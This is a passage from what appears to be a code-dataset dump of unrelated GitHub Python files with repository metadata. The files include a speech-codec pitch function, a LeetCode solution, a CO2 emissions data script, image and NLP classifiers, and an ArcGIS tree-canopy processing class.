torrent.created_by = CLIENT\n torrent.creation_date = time()\n return torrent\n","repo_name":"jwodder/demagnetize","sub_path":"src/demagnetize/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74068569154","text":"def pitch3(sig_in, resid, p2, pavg):\n \"\"\"\n Окончательное определение ОТ\n ПРЕДУСЛОВИЯ: sin_in[0:360]; resid[0:360]\n :param sig_in: сигнал с выхода префильтра\n :param resid: фильтрованный ФНЧ 1000 Гц сигнал остатка предсказаия\n :param p2: дробое значение ОТ\n :param pavg: среднее значение ОТ\n :return:\n p3 - дробное значение ОТ\n rp3 - соответствубщая корреляция\n \"\"\"\n try:\n import numpy as np\n\n from Encoder.double_ck import double_ck\n from Encoder.fpr import fpr\n from Encoder.pitch2 import pitch2\n\n p2 = np.around(p2) # округление дробного значения ОТ\n p3, rp3 = pitch2(resid, p2) # вычисление дробного значения ОТ по сигналу остатка предсказания\n\n if rp3 >= 0.6:\n Dth = 0.5 # пороговое значение\n if p3 <= 100:\n Dth = 0.75 # пороговое значение\n\n p3, rp3 = double_ck(resid, p3, Dth) # Определение ОТ с удвоенной точностью\n else:\n p3, rp3 = fpr(sig_in, p2) # улучшение дробного значения\n if rp3 < 0.55:\n p3 = pavg\n else:\n Dth = 0.7\n if p3 <= 100:\n Dth = 0.9\n\n p3, rp3 = double_ck(sig_in, p3, Dth)\n return p3, rp3\n except Exception as e:\n raise e\n","repo_name":"masonskii/melp","sub_path":"Encoder/pitch3.py","file_name":"pitch3.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27087252431","text":"class Solution:\n def minimumIncompatibility(self, nums: List[int], k: int) -> int:\n d = len(nums)//k\n count = collections.Counter(nums)\n if max(count.values()) > k: return -1\n\n @lru_cache(None)\n def dfs(curr):\n if not curr:\n return 0\n rslt = float(\"inf\")\n\n for comb in itertools.combinations(set(curr), d):\n remain = list(curr)\n for t in comb:\n remain.remove(t)\n rslt = min(rslt, max(comb)-min(comb) + dfs(tuple(remain)))\n return rslt\n return dfs(tuple(nums))\n","repo_name":"Mela2014/lc_punch","sub_path":"lc1681_dfs.py","file_name":"lc1681_dfs.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74123431554","text":"\"\"\"\n provides functions for implementing heaps based on regular lists\n --The lowest valued entry is always kept at position zero.\n --use for accessing the smallest element but do not want to run a full list sort:\n\"\"\"\nfrom heapq import heapify, heappop, heappush\n\ndata = [1, 3, 5, 7, 9, 2, 4, 6, 8, 0]\n# rearrange the list into heap order\nheapify(data)\n# add a new entry\npop_data=heappop(data)\nprint('pop_data:{}'.format(pop_data))\nprint('------------------')\nheap_data = heappush(data, -5)\npop_data1=[heappop(data) for i in range(3)]\nprint('pop_data1:{}'.format(pop_data1))\n","repo_name":"HolyQuar/git_operation","sub_path":"python_operation/standard_library_7.2/tools_for_working_with_lists_7/heapq_module_4.py","file_name":"heapq_module_4.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25508900311","text":"import os\nimport pandas as pd\n\n\nCURRENT_DIR = os.path.dirname(__file__)\nINPUT_DIR = os.path.join(CURRENT_DIR, \"input\")\nTMP_DIR = os.path.join(CURRENT_DIR, \"tmp\")\n\n\ndef main():\n\n # CDIAC\n df_cdiac = pd.read_csv(os.path.join(INPUT_DIR, \"global_fuel/global_fuel_type.csv\"), skiprows=4)\n df_cdiac = df_cdiac.drop(\n columns=[\"Per capita carbon emissions (metric tons of carbon; after 1949 only)\"]\n )\n df_cdiac = df_cdiac.rename(columns={\n \"Total carbon emissions from fossil fuel consumption and cement production (million metric tons of C)\": \"Total emissions\",\n \"Carbon emissions from solid fuel consumption\": \"Coal\",\n \"Carbon emissions from liquid fuel consumption\": \"Oil\",\n \"Carbon emissions from gas fuel consumption\": \"Gas\",\n \"Carbon emissions from cement production\": \"Cement\",\n \"Carbon emissions from gas flaring\": \"Flaring\"\n })\n\n co2_conversion = 3.664\n\n converted_cols = [\"Total emissions\", \"Coal\", \"Oil\", \"Gas\", \"Cement\", \"Flaring\"]\n df_cdiac[converted_cols] = df_cdiac[converted_cols].astype(float).mul(co2_conversion)\n\n # Global Carbon Project\n df_gcp = pd.read_excel(\n os.path.join(INPUT_DIR, \"global_fuel/global_fuel_type_gcp.xlsx\"),\n sheet_name=\"Fossil Emissions by Fuel Type\",\n skiprows=12\n )\n df_gcp = df_gcp.drop(columns=[\"Per Capita\"])\n df_gcp = df_gcp.rename(columns={\"Total\": \"Total emissions\"})\n\n converted_cols = [\"Total emissions\", \"Coal\", \"Oil\", \"Gas\", \"Cement\", \"Flaring\"]\n df_gcp[converted_cols] = df_gcp[converted_cols].astype(float).mul(co2_conversion)\n\n # Merging\n df_cdiac.loc[:, \"Source\"] = \"CDIAC\"\n df_cdiac.loc[:, \"Priority\"] = 0\n\n df_gcp.loc[:, \"Source\"] = \"GCP\"\n df_gcp.loc[:, \"Priority\"] = 1\n\n combined = pd.concat([df_cdiac, df_gcp])\n combined = combined.sort_values([\"Year\", \"Priority\"])\n combined = combined.groupby([\"Year\"]).tail(1)\n combined = combined.drop(columns=[\"Source\", \"Priority\"])\n\n combined.insert(0, \"Country\", \"World\")\n\n # Save to CSV file\n combined.to_csv(os.path.join(TMP_DIR, \"global_co2_fuel_type.csv\"), index=False)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Manudeep-git/731_Final_Project","sub_path":"Data/world/co2-emissions/co2-data-master/co2-data-master/scripts/global_co2_fuel_type.py","file_name":"global_co2_fuel_type.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"3385885760","text":"# Title: Module_01 Exercise_09\n# Author: Wendy Dushanin\n# UNCC Student ID: 800727084\n# Date: January 18, 2022\n\n# Description: Take in 5 words from the user. Create a single string from \n# the individual words, separated by spaces, and print the string\n\n# References: \n# https://www.afternerd.com/blog/python-convert-list-string/\n\nlist_01 = []\n#Asks users for the elements of list_01\nfor i in range(0, 5):\n # Asks user for individual list_01 inputs\n word = input('Enter a word: ')\n # Adds inputs to the list_01\n list_01.append(word)\n\n#use the join method to catenate the elements in the STR list\nsentence = \" \".join(list_01)\n\nprint(sentence)","repo_name":"wDushanin/ITSC-3155-Intro-to-Python-Exercises","sub_path":"exercise_09.py","file_name":"exercise_09.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75067637315","text":"# KOI 부설 과학연구소에서는 많은 종류의 산성 용액과 알칼리성 용액을 보유하고 있다.\n# 각 용액에는 그 용액의 특성을 나타내는 하나의 정수가 주어져있다.\n# 산성 용액의 특성값은 1부터 1,000,000,000까지의 양의 정수로 나타내고,\n# 알칼리성 용액의 특성값은 -1부터 -1,000,000,000까지의 음의 정수로 나타낸다.\n# 같은 양의 두 용액을 혼합한 용액의 특성값은 혼합에 사용된 각 용액의 특성값의 합으로 정의한다.\n# 이 연구소에서는 같은 양의 두 용액을 혼합하여 특성값이 0에 가장 가까운 용액을 만들려고 한다.\n# 예를 들어, 주어진 용액들의 특성값이 [-2, 4, -99, -1, 98]인 경우에는\n# 특성값이 -99인 용액과 특성값이 98인 용액을 혼합하면 특성값이 -1인 용액을 만들 수 있고,\n# 이 용액이 특성값이 0에 가장 가까운 용액이다.\n# 참고로, 두 종류의 알칼리성 용액만으로나 혹은 두 종류의 산성 용액만으로 특성값이 0에 가장 가까운 혼합 용액을 만드는 경우도 존재할 수 있다.\n# 산성 용액과 알칼리성 용액의 특성값이 주어졌을 때,\n# 이 중 두 개의 서로 다른 용액을 혼합하여 특성값이 0에 가장 가까운 용액을 만들어내는\n# 두 용액을 찾는 프로그램을 작성하시오.\n\nimport sys\n\nn = int(sys.stdin.readline()) # 길이\narr = sorted(map(int, sys.stdin.readline().split())) # 용액리스트\n\nstart = 0\nend = len(arr) - 1\ntarget = [arr[0], arr[-1]]\nmid = arr[0] + arr[-1]\nwhile start != end:\n if abs(arr[start] + arr[end]) == 0:\n target = sorted([arr[start], arr[end]])\n break\n if abs(arr[start] + arr[end]) > abs(mid):\n if abs(arr[start]) < abs(arr[end]):\n end -= 1\n continue\n else:\n start += 1\n continue\n elif abs(arr[start] + arr[end]) < abs(mid):\n target = sorted([arr[start], arr[end]])\n mid = sum(target)\n if abs(arr[start]) < abs(arr[end]):\n end -= 1\n continue\n else:\n start += 1\n continue\n else:\n if abs(arr[start]) < abs(arr[end]):\n end -= 1\n continue\n else:\n start += 1\n continue\n\nfor i in target:\n print(i, end=\" \")\n","repo_name":"Gimmingyu/Algorithm-Study","sub_path":"Week1/BinarySearch/2470.py","file_name":"2470.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25441432479","text":"#!/usr/bin/env python3\n\nimport torchvision.transforms as transforms\nfrom dataset import ImageClassificationDataset\nimport torch\nimport torchvision\nimport threading\nfrom utils import preprocess\nimport torch.nn.functional as F\nfrom jetcam.usb_camera import USBCamera\n\n\nTASK = 'thumbs'\nCATEGORIES = ['thumbs_up', 'thumbs_down']\nDATASETS = 'A'\n\nTRANSFORMS = transforms.Compose([\n transforms.ColorJitter(0.2, 0.2, 0.2, 0.2),\n transforms.Resize((224, 224)),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n])\n\ndataset = ImageClassificationDataset(TASK + '_' + DATASETS, CATEGORIES, TRANSFORMS)\n\n\ndevice = torch.device('cuda')\nmodel = torchvision.models.resnet18(pretrained=True)\nmodel.fc = torch.nn.Linear(512, len(dataset.categories))\nmodel = model.to(device)\nmodel.load_state_dict(torch.load('./my_model.pth'))\nmodel = model.eval()\n\n\ncamera = USBCamera(capture_device=0)\nwhile True:\n image = camera.read()\n preprocessed = preprocess(image)\n output = model(preprocessed)\n output = F.softmax(output, dim=1).detach().cpu().numpy().flatten()\n print('%5.2f %5.2f' % (output[0], output[1]))\n\n\n\n\n\n","repo_name":"PlainJi/Jetson-Nano","sub_path":"classification/thumb_live.py","file_name":"thumb_live.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35898533168","text":"import pandas as pd\nfrom nltk.stem.porter import *\nfrom nltk.corpus import stopwords\nfrom sklearn import metrics\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.preprocessing import LabelEncoder\n\n\ndef rm_stopwords(x):\n data = []\n stop_words = set(stopwords.words('english'))\n for i in x:\n if i not in stop_words:\n data.append(i)\n return data\n\n\ndef data_process(train_fm, test_fm, task, drop_sarcastic=False, drop_neutral=False, is_nltk=True):\n col_names = ['id', 'text', 'topic_id', 'sentiment', 'is_sarcastic']\n train_data = pd.read_csv(train_fm, header=None)\n test_data = pd.read_csv(test_fm, header=None)\n if not drop_neutral:\n len_train = len(train_data)\n len_test = len(test_data)\n df = pd.concat([train_data, test_data])\n df.columns = col_names\n if drop_sarcastic:\n df = df[~df['is_sarcastic'].isin([True])]\n if drop_neutral:\n df = df[~df['sentiment'].isin([\"neutral\"])]\n len_train = int(0.8 * len(df))\n len_test = len(df) - len_train\n\n df['text'] = df['text'].str.replace(r'(https|http)?:\\/\\/(\\w|\\.|\\/|\\?|\\=|\\&|\\%)*\\b', ' ')\n df['text'] = df['text'].str.replace(r\"[^#@_$%a-zA-Z0-9 ]\", \"\")\n df['text'] = df['text'].apply(lambda x: ' '.join([w for w in x.split() if len(w) > 1]))\n\n tokenized_data = df['text'].apply(lambda x: x.split())\n # stem and stop words removal\n if is_nltk:\n tokenized_data = tokenized_data.apply(rm_stopwords)\n stem = PorterStemmer()\n tokenized_data = tokenized_data.apply(lambda x: [stem.stem(i) for i in x])\n data = tokenized_data.apply(lambda x: ' '.join(x))\n if task == 'sentiment':\n if drop_neutral:\n label_dict = {'negative': 0, 'positive': 1}\n else:\n label_dict = {'negative': 0, 'neutral': 1, 'positive': 2}\n label = list(df['sentiment'].map(label_dict))\n return data, label, len_train, len_test\n elif task == 'topic':\n le = LabelEncoder()\n le.fit(df['topic_id'])\n label = le.transform(df['topic_id'])\n return data, label, len_train, len_test, le\n\n\ndef feature_extract(x, max_vocabulary):\n tfidf_vec = TfidfVectorizer(max_features=max_vocabulary)\n tfidf = tfidf_vec.fit_transform(x)\n return tfidf\n\n\ndef evaluate(train_predictions, test_predictions, y_train, y_test):\n train_accuracy = metrics.accuracy_score(y_train, train_predictions)\n train_recall = metrics.recall_score(y_train, train_predictions, average=\"macro\")\n train_precision = metrics.precision_score(y_train, train_predictions, average=\"macro\")\n train_precision_micro = metrics.precision_score(y_train, train_predictions, average=\"micro\")\n train_F1 = metrics.f1_score(y_train, train_predictions, average=\"macro\")\n # train_class = metrics.precision_score(y_train, train_predictions, average=None)\n\n test_accuracy = metrics.accuracy_score(y_test, test_predictions)\n test_recall = metrics.recall_score(y_test, test_predictions, average=\"macro\")\n test_precision = metrics.precision_score(y_test, test_predictions, average=\"macro\")\n test_precision_micro = metrics.precision_score(y_test, test_predictions, average=\"micro\")\n test_F1 = metrics.f1_score(y_test, test_predictions, average=\"macro\")\n # test_class = metrics.precision_score(y_test, test_predictions, average=None)\n\n print(\"train accuracy:\", train_accuracy, \"test accuracy:\", test_accuracy)\n print(\"train recall\", train_recall, \"test recall\", test_recall)\n print(\"train precision\", train_precision, \"test precision\", test_precision)\n print(\"train precision_micro\", train_precision_micro, \"test precision_micro\", test_precision_micro)\n print(\"train F1\", train_F1, \"test F1\", test_F1)\n # print(\"train_class\", train_class, \"test_class\", test_class)\n","repo_name":"ez4lionky/twitter-nlp","sub_path":"load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":3808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12490424795","text":"# video and image display\nimport cv2\n\n# video capture from webcam example\ncap = cv2.VideoCapture(\"Resources/test_video.mp4\")\n# cap = cv2.VideoCapture(0)\ncap.set(3, 640) # width\ncap.set(4, 480) # height\ncap.set(10, 100) # brightness\n\nwhile True:\n success, img = cap.read()\n cv2.imshow(\"Video\", img)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# It is for removing/deleting created GUI window from screen\n# and memory\ncv2.destroyAllWindows()\n\n# show image example\n# To read image from disk, we use\n# cv2.imread function, in below method,\nimg = cv2.imread(\"Resources/test_image.png\", cv2.IMREAD_COLOR)\n\n# Creating GUI window to display an image on screen\n# first Parameter is windows title (should be in string format)\n# Second Parameter is image array\ncv2.imshow(\"Cute Kitens\", img)\n\n# To hold the window on screen, we use cv2.waitKey method\n# Once it detected the close input, it will release the control\n# To the next line\n# First Parameter is for holding screen for specified milliseconds\n# It should be positive integer. If 0 pass an parameter, then it will\n# hold the screen until user close it.\ncv2.waitKey(0)\n\n# It is for removing/deleting created GUI window from screen\n# and memory\ncv2.destroyAllWindows()\n","repo_name":"jvk36/UB-CSE-JV-CSE-610","sub_path":"OpencvPython/chapter1.py","file_name":"chapter1.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4232423322","text":"################################################################################\n# Name: canopy.py\n# Purpose: This module provides utility functions for preprocessing NAIP tiles\n# and postprocessing trained canopy tiles.\n# Authors: Huidae Cho, Ph.D., Owen Smith, IESA, University of North Georgia\n# Since: November 29, 2019\n# Grant: Sponsored by the Georgia Forestry Commission through the Georgia\n# Statewide Canopy Assessment Project\n# Phase 1: 2009 Canopy Analysis\n# Phase 1.5: 2019 Canopy Analysis\n# Phase 2: 2009-2019 Canopy Change Analysis\n################################################################################\n\nimport arcpy\nimport os\nimport sys\nimport glob\nfrom .templates import config_template\nfrom configparser import ConfigParser\nimport time\nimport numpy as np\n\n\nclass Canopy:\n '''\n Object to effectively manage the configuration of CanoPy and run\n the processing functions created.\n\n Attributes\n ----------\n config : str\n Path for initialized configuration file.\n phyregs_layer : str\n Layer containing polygon features for all physiographic regions.\n phyregs_area_sqkm_field : str\n Field name for computed area.\n naipqq_layer : str\n Name of the NAIP QQ feature layer.\n naipqq_phyregs_field : str\n Field name to make NAIP QQ's queryable based on physiographic\n region.\n naip_path : str\n Path to NAIP directory\n spatref_wkid : int\n WKID specifies the target spatial reference for all output files.\n snaprast_path : str\n This input/output raster is used to snap NAIP tiles to a\n consistent grid system. If this file does not already exist, the\n filename part of snaprast_path must be 'r' + the filename of an\n existing original NAIP tile so that reproject_input_tiles() can\n automatically create it based on the folder structure of the\n NAIP imagery data (naip_path).\n results_path : str\n Folder which will contain all outputs.\n analysis_year : int\n Specifies which year is being analyzed.\n phyreg_ids : list\n List of phyreg ids to process.\n\n Methods\n -------\n gen_cfg(config_path):\n Generates a template configuration file at the specified location.\n update_config(**parameters):\n Allows CanoPy attributes to be written directly in the generated *.cfg\n file.\n regions(phyregs):\n Adds the desired regions to self.phyreg_ids\n calculate_row_column(xy, rast_ext, rast_res):\n Calculates array row and column using x, y, extent, and\n resolution.\n assign_phyregs_to_naipqq():\n Adds the phyregs field to the NAIP QQ shapefile and\n populates it with physiographic region IDs that intersect each NAIP\n tile.\n reproject_naip_tiles():\n Function reprojects and snaps the NAIP tiles that intersect\n selected physiographic regions.\n convert_afe_to_final_tiles():\n Converts AFE outputs to final TIFF files.\n clip_final_tiles():\n Clips final TIFF files.\n mosaic_clipped_final_tiles():\n Mosaics clipped final TIFF files and clips mosaicked files\n to physiographic regions.\n convert_afe_to_canopy_tif():\n A wrapper function that converts AFE outputs to the\n final canopy TIFF file by invoking convert_afe_to_final_tiles(),\n clip_final_tiles(), and mosaic_clipped_final_tiles() in the correct\n order.\n correct_inverted_canopy_tif(inverted_phyreg_ids):\n Corrects the values of mosaikced and clipped regions that\n have been inverted.\n convert_canopy_tif_to_shp():\n Converts the canopy TIFF files to shapefile.\n generate_gtpoints(phyreg_ids, min_area_sqkm, max_area_sqkm, min_points,\n max_points):\n Generates randomized points for ground truthing.\n update_gtpoints(self, old_points, phyreg_ids)\n Copies a previous years GT points but with the new years GT values.\n add_naip_tiles_for_gt(gtpoints):\n Adds NAIP imagery where a ground truthing point is located.\n '''\n\n def __init__(self, config_path):\n '''\n Parameters\n ----------\n config_path : str\n Path which points to the *.cfg path which serve as the\n configuration for CanoPy. If one does not exist it will be\n automatically generated using the template configuration.\n '''\n\n # Add .cfg extentsion to file path if not present\n if not os.path.splitext(config_path)[1] == '.cfg':\n config_path = '%s%s' % (config_path, '.cfg')\n\n # Generate template configuration file if file path does not exist.\n if os.path.exists(config_path):\n self.config = config_path\n if not os.path.exists(config_path):\n self.gen_cfg(config_path)\n self.config = config_path\n self.__reload_cfg()\n\n def __timed(func):\n # Decorative function for verbose time outputs\n def wrapper(self, *args, **kwargs):\n if self.verbosity == 1:\n start_time = time.time()\n func(self, *args, **kwargs)\n end_time = time.time() - start_time\n print(f\"---- {end_time / 60} minutes elapsed----\")\n else:\n func(self, *args, **kwargs)\n\n return wrapper\n\n def __get_cellsizes(self, input_raster):\n # Returns a tuple of the x,y cell dimensions of raster\n x = arcpy.Raster(input_raster).meanCellWidth\n y = arcpy.Raster(input_raster).meanCellHeight\n return x, y\n\n def __check_float(self, x1, x2, tolerance):\n # Check if floats are within certain range or tolerance. Simple\n # predicate function.\n return abs(x1 - x2) <= tolerance\n\n def __check_snap(self, input_raster):\n\n # Get the xy cell dimensions of both the snap raster and the\n # input raster.\n snap_x, snap_y = self.__get_cellsizes(self.snaprast_path)\n in_x, in_y = self.__get_cellsizes(input_raster)\n\n # Determine if cells dimensions wall within tolerance. Needed as\n # reprojections can slightly skew float cell size,\n # e.g. 0.6 -> 0.599999...\n check_x = self.__check_float(snap_x, in_x, 0.0001)\n check_y = self.__check_float(snap_y, in_y, 0.0001)\n # If both dimensions fall within tolerance do nothing. If not then\n # raise error.\n try:\n if check_y is False and check_x is False:\n raise ValueError\n except ValueError:\n print(\"Invlaid snapraster cellsize: The snapraster cell size does \\n\"\n \"not match that of the input rasters cellsize.\")\n sys.exit(1)\n\n def gen_cfg(self, config_path):\n '''\n Generates a template configuration file at the specified location.\n\n Parameters\n ----------\n config_path : str\n '''\n # Write config file template\n with open(config_path, 'w') as f:\n f.write(config_template)\n f.close()\n print(\"CanoPy config generated at %s\" % config_path)\n return config_path\n\n def __reload_cfg(self):\n '''\n Reloads the configuration parameters within the Canopy object if changes\n have been made to the *.cfg file. This allows for changes to be made to\n the overall configuration with out the object or the python environment\n having to be reinitalized.\n '''\n # Open configuration file with configparser\n conf = ConfigParser()\n conf.read(self.config)\n\n # Get individual attributes from configuration\n self.verbosity = int(conf.get('config', 'verbosity'))\n self.phyregs_layer = str.strip(conf.get('config', 'phyregs_layer'))\n self.phyregs_area_sqkm_field = str.strip(conf.get('config',\n 'phyregs_area_sqkm_field'))\n self.naipqq_layer = str.strip(conf.get('config', 'naipqq_layer'))\n self.naipqq_phyregs_field = str.strip(conf.get('config',\n 'naipqq_phyregs_field'))\n self.naip_path = str.strip(conf.get('config', 'naip_path'))\n self.spatref_wkid = int(conf.get('config', 'spatref_wkid'))\n self.snaprast_path = str.strip(conf.get('config', 'snaprast_path'))\n self.results_path = str.strip(conf.get('config', 'results_path'))\n self.analysis_year = int(conf.get('config', 'analysis_year'))\n\n def update_config(self, **parameters):\n '''\n Updates the configuration parameters directly in the Canopy *.cfg file.\n\n Keyword Args\n ------------\n\n phyregs_layer: str\n This input layer contains the polygon features for all physiographic\n regions.\n Required fields:\n NAME (Text)\n PHYSIO_ID (Long)\n AREA (Float)\n naipqq_layer: str\n This input layer contains the polygon features for all NAIP tiles.\n Required field:\n FileName (Text)\n naipqq_phyregs_field: str\n This output text field will be created in the naipqq layer by\n assign_phyregs_to_naipqq().\n naip_path: str\n The structure of this input folder is defined by USDA, the original\n source of NAIP imagery. Under this folder are multiple 5-digit\n numeric folders that contain actual imagery GeoTIFF files.\n For example,\n F:/Georgia/ga/\n 34083/\n m_3408301_ne_17_1_20090929.tif\n m_3408301_ne_17_1_20090930.tif\n ...\n 34084/\n m_3408407_ne_16_1_20090930.tif\n m_3408407_nw_16_1_20090930.tif\n ...\n ...\n spatref_wkid: int\n Well-Known IDs (WKIDs) are numeric identifiers for coordinate\n systems administered by Esri. This variable specifies the target\n spatial reference for output files\n project_path: str\n This variable specifies the path to the project root folder\n The default structure of the project folder is defined as follows:\n C:/.../ (project_path)\n Data/\n Physiographic_Districts_GA.shp (added as a layer)\n 2009 Analysis/ (analysis_path)\n Data/\n naip_ga_2009_1m_m4b.shp (added as a layer)\n snaprast.tif (snaprast_path)\n Results/ (results_path)\n Winder_Slope/ (physiographic region name)\n Inputs/\n reprojected NAIP tiles\n Outputs/\n intermediate output tiles\n canopy_2009_Winder_Slope.tif\n gtpoints_2009_Winder_Slope.tif\n ...\n analysis_year: int\n This variable specifies the year for analysis.\n snaprast_path: str\n This input/output raster is used to snap NAIP tiles to a consistent\n grid system. If this file does not already exist, the filename part\n of snaprast_path must be 'r' + the filename of an existing original\n NAIP tile so that reproject_input_tiles() can automatically create\n it based on the folder structure of the NAIP imagery data\n (naip_path).\n '''\n\n # Read the configuration file\n conf = ConfigParser(inline_comment_prefixes='#')\n conf.read(self.config)\n\n # List of parameters which can be edited by user.\n params = [\"phyregs_layer\", \"naipqq_layer\", \"naipqq_phyregs_field\",\n \"naip_path\", \"spatref_wkid\", \"project_path\", \"analysis_year\",\n \"snaprast_path\"]\n\n # iterate over key word parameters and if present, overwrite entry in\n # config file.\n for arg in parameters:\n for p in params:\n if arg is p:\n # Get parameters entry from key word dictonary.\n conf.set('config', arg, f'{parameters.get(arg)}')\n # Write file\n with open(self.config, 'w') as configfile:\n conf.write(configfile)\n # Reload the configuration within the CanoPy object.\n self.__reload_cfg()\n\n def regions(self, phyregs):\n '''\n Adds the desired regions to be generated.\n\n Parameters\n ----------\n phyregs : list\n List of physiographic region id's to be processed with CanoPy.\n '''\n # Populate phyregs_ids\n self.phyreg_ids = []\n for i in range(len(phyregs)):\n self.phyreg_ids.append(phyregs[i])\n\n def __calculate_row_column(self, xy, rast_ext, rast_res):\n '''\n This function calculates array row and column using x, y, extent, and\n resolution.\n\n Parameters\n ----------\n xy : list, tuple\n (x, y) coordinates\n rast_ext :\n raster extent\n rast_res : list, tuple\n (width, height) raster resolution\n\n Returns\n -------\n row, col\n '''\n x = xy[0]\n y = xy[1]\n w = rast_res[0]\n h = rast_res[1]\n row = int((rast_ext.YMax - y) / h)\n col = int((x - rast_ext.XMin) / w)\n return row, col\n\n def assign_phyregs_to_naipqq(self):\n '''\n This function adds the phyregs field to the NAIP QQ shapefile and\n populates it with physiographic region IDs that intersect each NAIP\n tile. This function needs to be run only once, but running it multiple\n times would not hurt either other than wasting computational resources.\n '''\n phyregs_layer = self.phyregs_layer\n phyregs_area_sqkm_field = self.phyregs_area_sqkm_field\n naipqq_layer = self.naipqq_layer\n naipqq_phyregs_field = self.naipqq_phyregs_field\n\n # calculate phyregs_area_sqkm_field\n fields = arcpy.ListFields(phyregs_layer, phyregs_area_sqkm_field)\n for field in fields:\n if field.name == phyregs_area_sqkm_field:\n arcpy.DeleteField_management(phyregs_layer,\n phyregs_area_sqkm_field)\n break\n arcpy.AddField_management(phyregs_layer, phyregs_area_sqkm_field,\n 'DOUBLE')\n arcpy.CalculateGeometryAttributes_management(phyregs_layer,\n [[phyregs_area_sqkm_field, 'AREA']], '', 'SQUARE_KILOMETERS')\n\n # calculate naipqq_phyregs_field\n fields = arcpy.ListFields(naipqq_layer, naipqq_phyregs_field)\n for field in fields:\n if field.name == naipqq_phyregs_field:\n arcpy.DeleteField_management(naipqq_layer, naipqq_phyregs_field)\n break\n arcpy.AddField_management(naipqq_layer, naipqq_phyregs_field, 'TEXT',\n field_length=100)\n\n # make sure to clear selection because most geoprocessing tools use\n # selected features, if any\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n 'CLEAR_SELECTION')\n arcpy.SelectLayerByAttribute_management(naipqq_layer,\n 'CLEAR_SELECTION')\n\n # initialize the phyregs field to ,\n arcpy.CalculateField_management(naipqq_layer, naipqq_phyregs_field,\n '\",\"')\n\n # for each physiographic region\n with arcpy.da.SearchCursor(phyregs_layer, ['NAME', 'PHYSIO_ID']) as cur:\n for row in sorted(cur):\n name = row[0]\n print(name)\n phyreg_id = row[1]\n # select the current physiographic region\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID=%d' % phyreg_id)\n # select intersecting naip qq features\n arcpy.SelectLayerByLocation_management(naipqq_layer,\n select_features=phyregs_layer)\n # append phyreg_id + , so the result becomes ,...,#,\n arcpy.CalculateField_management(naipqq_layer,\n naipqq_phyregs_field,\n '!%s!+\"%d,\"' % (naipqq_phyregs_field, phyreg_id),\n 'PYTHON_9.3')\n\n # clear selection again\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n 'CLEAR_SELECTION')\n arcpy.SelectLayerByAttribute_management(naipqq_layer,\n 'CLEAR_SELECTION')\n\n print('Completed')\n\n @__timed\n def reproject_naip_tiles(self):\n '''\n This function reprojects and snaps the NAIP tiles that intersect\n selected physiographic regions.\n '''\n phyregs_layer = self.phyregs_layer\n naipqq_layer = self.naipqq_layer\n naipqq_phyregs_field = self.naipqq_phyregs_field\n spatref_wkid = self.spatref_wkid\n naip_path = self.naip_path\n results_path = self.results_path\n snaprast_path = self.snaprast_path\n\n spatref = arcpy.SpatialReference(spatref_wkid)\n\n arcpy.env.addOutputsToMap = False\n if not os.path.exists(snaprast_path):\n snaprast_file = os.path.basename(snaprast_path)\n # Account for different filename lengths between years\n if len(snaprast_file) == 28:\n infile_path = '%s/%s/%s' % (naip_path, snaprast_file[2:7],\n snaprast_file)\n else:\n infile_path = '%s/%s/%s' % (naip_path, snaprast_file[3:8],\n snaprast_file[1:])\n arcpy.ProjectRaster_management(infile_path, snaprast_path, spatref)\n arcpy.env.snapRaster = snaprast_path\n\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID in (%s)' % ','.join(map(str,\n self.phyreg_ids)))\n with arcpy.da.SearchCursor(phyregs_layer, ['NAME', 'PHYSIO_ID']) as cur:\n for row in cur:\n name = row[0]\n print(name)\n # CreateRandomPoints cannot create a shapefile with - in its\n # filename\n name = name.replace(' ', '_').replace('-', '_')\n phyreg_id = row[1]\n outdir_path = '%s/%s/Inputs' % (results_path, name)\n if not os.path.exists(outdir_path):\n if not os.path.exists(outdir_path[:-7]):\n os.mkdir(outdir_path[:-7])\n os.mkdir(outdir_path)\n outputs_path = '%s/%s/Outputs' % (results_path, name)\n if not os.path.exists(outputs_path):\n os.mkdir(outputs_path)\n arcpy.SelectLayerByAttribute_management(naipqq_layer,\n where_clause=\"%s like '%%,%d,%%'\" % (\n naipqq_phyregs_field, phyreg_id))\n with arcpy.da.SearchCursor(naipqq_layer, ['FileName']) as cur2:\n for row2 in sorted(cur2):\n filename = '%s.tif' % row2[0][:-13]\n folder = filename[2:7]\n infile_path = '%s/%s/%s' % (naip_path, folder, filename)\n outfile_path = '%s/r%s' % (outdir_path, filename)\n self.__check_snap(infile_path)\n if not os.path.exists(outfile_path):\n arcpy.ProjectRaster_management(infile_path,\n outfile_path, 